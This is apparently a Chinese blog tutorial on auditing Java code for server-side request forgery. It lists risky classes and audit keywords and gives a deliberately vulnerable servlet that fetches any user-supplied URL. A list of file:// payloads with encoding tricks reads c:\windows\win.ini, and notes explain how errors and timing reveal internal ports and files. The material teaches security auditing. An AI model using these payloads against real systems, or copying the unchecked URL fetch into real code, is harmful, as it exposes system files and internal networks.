java代码审计6之ssrf

文章目录

  • 1、java支持的网络请求协议:
  • 2、Java 中能发起⽹络请求的类
      • 2.1、仅⽀持 HTTP/HTTPS 协议的类
      • 2.2、⽀持 sun.net.www.protocol 所有协议的类
      • 2.3、审计关键词
  • 3、靶场
      • 3.1、漏洞代码1
      • 3.2、ftp协议读取技巧
      • 3.3、无回显之探测内网
      • 3.4、无回显之探测文件

之前的文章,
php代码审计8之SSRF

1、java支持的网络请求协议:

file ftp mailto http https jar netdoc

在jdk1.7(含)以下还支持gopher协议;

在这里插入图片描述
小结:

Java中的SSRF相比php危害会小一些

遇到ssrf尝试使用ftp://来读取一些文件

2、Java 中能发起⽹络请求的类

2.1、仅⽀持 HTTP/HTTPS 协议的类

HttpClient 					类
HttpURLConnection 			类
OkHttp 						类
Request 					类

2.2、⽀持 sun.net.www.protocol 所有协议的类

URLConnection 			类
URL 					类
ImageIO 				类

2.3、审计关键词


HttpClient.execute
HttpClient.executeMethod
HttpURLConnection.connect
HttpURLConnection.getInputStream
URL.openStream
URLConnection.getInputStream
Request.Get.execute
Request.Post.execute
ImageIO.read
OkHttpClient.newCall.execute
HttpServletRequest
BasicHttpRequest

3、靶场

3.1、漏洞代码1

package com.example.demo;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.net.URL;
import java.net.URLConnection;
@WebServlet("/ssrf1")
public class test extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp)
            throws ServletException, IOException {
        req.setCharacterEncoding("utf-8");
        resp.setCharacterEncoding("utf-8");
        resp.setContentType("text/html; charset=utf-8");
        String url = req.getParameter("url");
        System.out.println(url);
        StringBuffer sb = new StringBuffer();
        URL pic = new URL(url);
        URLConnection urlConnection = pic.openConnection();
        BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream(),"UTF-8"));
        String line;
        while ((line =in.readLine())!=null){
            sb.append(line);
        }
        in.close();
        resp.getWriter().write(sb.toString());
    }
    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp
    ) throws ServletException, IOException {
        this.doGet(req,resp);
    }
}

3.2、ftp协议读取技巧

使用斜杠“\”全失败,但是编码后的“%5c”都可以成功

使用反斜杠“/”都成功,编码后的“%2f”都可以成功

不使用斜杠/反斜杠也可以成功
ssrf1?url=file:///c:\windows%5c%5cwin.ini					失败
ssrf1?url=file:///c:\\windows%5c%5cwin.ini					失败
ssrf1?url=file:///c:\\\windows%5c%5cwin.ini					失败

、、下边都成功
ssrf1?url=file:///c:%5cwindows%5c%5cwin.ini
ssrf1?url=file:///c:%5c%5cwindows%5c%5cwin.ini			
ssrf1?url=file:///c:%5c%5c%5cwindows%5c%5cwin.ini
ssrf1?url=file:///c:%5c%5c%5c%5cwindows%5c%5cwin.ini


ssrf1?url=file:///c:windows%5c%5cwin.ini						、、不加斜杠或者反斜杠


、、下边都成功,都是反斜杠“/”或者其编码的
ssrf1?url=file:///c:/windows%5c%5cwin.ini						
ssrf1?url=file:///c://windows%5c%5cwin.ini					
ssrf1?url=file:///c:///windows%5c%5cwin.ini					
ssrf1?url=file:///c:windows%5c%5cwin.ini				
ssrf1?url=file:///c:%2fwindows%5c%5cwin.ini
ssrf1?url=file:///c:%2f%2fwindows%5c%5cwin.ini
ssrf1?url=file:///c:%2f%2f%2fwindows%5c%5cwin.ini
ssrf1?url=file:///c:%2f%2f%2f%2fwindows%5c%5cwin.ini
另外在之前的任意文件读取之中,说到任意文件读取在win系统的情况下不能跨磁盘读取,
	
	比如代码在D盘就无法读取C盘的内容

但是经过测试,ssrf使用ftp协议是可以跨磁盘读取的,

这里问题应该在与“ftp协议”本身就可以读取任何磁盘内容

3.3、无回显之探测内网

ssrf无回显的情况很常见,测试思路就是使用外部平台配合,

这个基础的问题不是今天要说的,要说的是根据不同的报错来确认文件,


当访问不通的端口时,提示链接被拒绝,
	
	Connection refused: connect

在这里插入图片描述
访问通顺的端口且文件存在时,
在这里插入图片描述
当访问通顺的端口文件不存在时,
在这里插入图片描述
小结,

访问畅通的端口且文件不存在时,可能会报错,且返回时间最短

访问畅通的端口且文件存在时,没有报错,返回时间比上边差不太多(实际之中可能较难区分)

访问不畅通的端口时,可能会报错,且返回时间明显比上述长

3.4、无回显之探测文件

探测存在的文件时,一切正常,

在这里插入图片描述
探测不存在的文件时,报错
在这里插入图片描述
小结,

访问存在的文件,一切正常

访问不存在的文件,可能会返回报错,

但是以上两种请求,时间几乎一致

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/46604.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

区间预测 | MATLAB实现基于QRF随机森林分位数回归多变量时间序列区间预测模型

区间预测 | MATLAB实现基于QRF随机森林分位数回归多变量时间序列区间预测模型 目录 区间预测 | MATLAB实现基于QRF随机森林分位数回归多变量时间序列区间预测模型效果一览基本介绍程序设计参考资料 效果一览 基本介绍 1.Matlab实现基于QRF随机森林分位数回归多变量时间序列区间…

Android 耗时分析(adb shell/Studio CPU Profiler/插桩Trace API)

1.adb logcat 查看冷启动时间和Activity显示时间: 过滤Displayed关键字,可看到Activity的显示时间 那上面display后面的是时间是指包含哪些过程的时间呢? 模拟在Application中沉睡1秒操作,冷启动情况下: 从上可知&…

SpringBoot 集成 Elasticsearch

一、版本 spring-boot版本:2.3.7.RELEASEElasticsearch7.8.0版本说明详见 二、Elasticsearch 下载和安装 Elasticsearch 下载 kibana下载 ik分词器下载 配置IK分词器 2.1 解压,在elasticsearch-7.8.0\plugins 路径下新建ik目录 2.2 将ik分词器解压放…

pytest---环境切换(base-url)

前言 前面小编介绍了如何通过pytest的插件来实现自动化测试的环境的切换,当时使用的方法是通过钩子函数进行获取命令行参数值,然后通过提前配置好的参数进行切换测试环境地址,今天小编再次介绍一种方法,通过pytest的插件&#xff…

2023年深圳杯数学建模B题电子资源版权保护问题

2023年深圳杯数学建模 B题 电子资源版权保护问题 原题再现: 版权又称著作权,包括发表权、署名权、修改权、保护作品完整权、复制权、发行权、出租权、展览权、表演权、放映权、广播权、信息网络传播权、摄制权、改编权、翻译权、汇编权及应当由著作权人…

安全学习DAY06_抓包技术-HTTPHTTPS

抓包技术-HTTP&HTTPS HTTP&HTTPS抓包针对Web&APP&小程序&PC应用等 本节目的: 掌握几种抓包工具证书安装操作掌握几种HTTP&HTTPS抓包工具的使用学会Web,APP,小程序,PC应用等抓包了解本节课抓包是针对哪些…

【100天精通python】Day17:常见异常类型与解决,异常处理语句

目录 一 python 的常见异常类型与解决 二 常用的异常处理语句 1 try...except语句 2 try...except...else语句 3 try...except...finally语句 4 使用raise语句抛出异常 5 自定义异常类型 6 异常链处理 在 Python中,异常是在程序运行时发生的错误或意外情…

华为eNSP:路由引入

一、拓扑图 二、路由器的配置 1、配置路由器的IP AR1: [Huawei]int g0/0/0 [Huawei-GigabitEthernet0/0/0]ip add 1.1.1.1 24 [Huawei-GigabitEthernet0/0/0]qu AR2: [Huawei]int g0/0/0 [Huawei-GigabitEthernet0/0/0]ip add 1.1.1.2 24 [Huaw…

【Lua学习笔记】Lua进阶——函数和闭包

文章目录 函数函数嵌套闭包Closures可变函数函数重载 函数 函数嵌套 function A()print("这里是函数A")return function ()print("返回函数不要起名")end end B A() B()输出: 这里是函数A 返回函数不要起名使用函数嵌套的用法,我…

power dns recursor 4.5以后版本的奇葩问题

问题 最近升级了 pdns-recursor 从 4.1.X 升级至 4.8.x 出现下面问题 效果为 nslookup 可以返回 ip 地址 dig 无法返回对应 ip 地址 ad dns 服务器转发过来的解析都不响应 tcp 抓包如下 当使用 nslookup 请求时 addition rrs 请求为 0 当使用 dig 请求时 addition rrs 请求为 1…

Java虚拟机——Java内存模型

"Java内存模型"来屏蔽各种硬件和操作系统的内存访问差异,以实现让Java程序在各种平台下都能达到一致的内存访问效果。主要目的:定义程序中各种变量的访问规则,即关注在虚拟机中把变量值存储到内存和从内存中取出变量值这样的底层细…

用 Node.js 手写 WebSocket 协议

目录 引言 从 http 到 websocekt 的切换 Sec-WebSocket-Key 与 Sec-WebSocket-Accept 全新的二进制协议 自己实现一个 websocket 服务器 按照协议格式解析收到的Buffer 取出opcode 取出MASK与payload长度 根据mask key读取数据 根据类型处理数据 frame 帧 数据的发…

使用Python搭建代理服务器- 爬虫代理服务器详细指南

搭建一个Python爬虫代理服务器可以让你更方便地管理和使用代理IP。下面是一个详细的教程来帮助你搭建一个简单的Python爬虫代理服务器: 1. 首先,确保你已经安装了Python。你可以在官方网站(https://www.python.org/)下载并安装最新版本的Python。 2. 安…

一.MySQL的主从复制

目录 一.MySQL的主从复制 1.2主从复制的工作过程和原理 1.2.1主从复制工作过程为两日志和三线程 ​编辑 1.2.2主从复制的工作原理 1.3主从复制延迟的原因 1.4主从复制的架构 1.5.MySQL四种同步方式 1.5.1异步复制(Async Replication) 1.5.2 同步复制(Sync Re…

新功能 – Cloud WAN:托管 WAN 服务

我很高兴地宣布,我们推出了 Amazon Cloud WAN,这是一项新的网络服务,它可以轻松构建和运营连接您的数据中心和分支机构以及多个 Amazon 区域中的多个 VPC 的广域网(WAN)。 亚马逊云科技开发者社区为开发者们提供全球的…

Linux centos7.x系统 下没有ens33 网卡的解决方案

一、背景 安装完windows11 Centos7.9 版本的双系统之后 , 启动Centos7.9时发现没有网卡信息 , 只有ifcfg-lo网卡的信息 , 这个时候就证明没有网卡信息,或者网卡驱动不匹配(我这里是没有网卡),所以我们要重新安装 , 安装步骤如下 : 二、安装步骤 1.查…

使用分布式HTTP代理爬虫实现数据抓取与分析的案例研究

在当今信息爆炸的时代,数据已经成为企业决策和发展的核心资源。然而,要获取大规模的数据并进行有效的分析是一项艰巨的任务。为了解决这一难题,我们进行了一项案例研究,通过使用分布式HTTP代理爬虫,实现数据抓取与分析…

C++多线程编程(第二章 多线程通信和同步)

1、多线程状态 1.1线程状态说明 初始化(Init):该线程正在被创建; 就绪(Ready):该线程在就绪列表中,等待CPU调度; 运行(Running):该线程正在运行; 阻塞&…

吉林大学计算机软件考研经验贴

文章目录 简介政治英语数学专业课 简介 本人23考研,一战上岸吉林大学软件工程专硕,政治72分,英一71分,数二144分,专业课967综合146分,总分433分,上图: 如果学弟学妹需要专业课资料…

Pytorch个人学习记录总结 07

目录 神经网络-非线性激活 神经网络-线形层及其他层介绍 神经网络-非线性激活 官方文档地址:torch.nn — PyTorch 2.0 documentation 常用的:Sigmoid、ReLU、LeakyReLU等。 作用:为模型引入非线性特征,这样才能在训练过程中…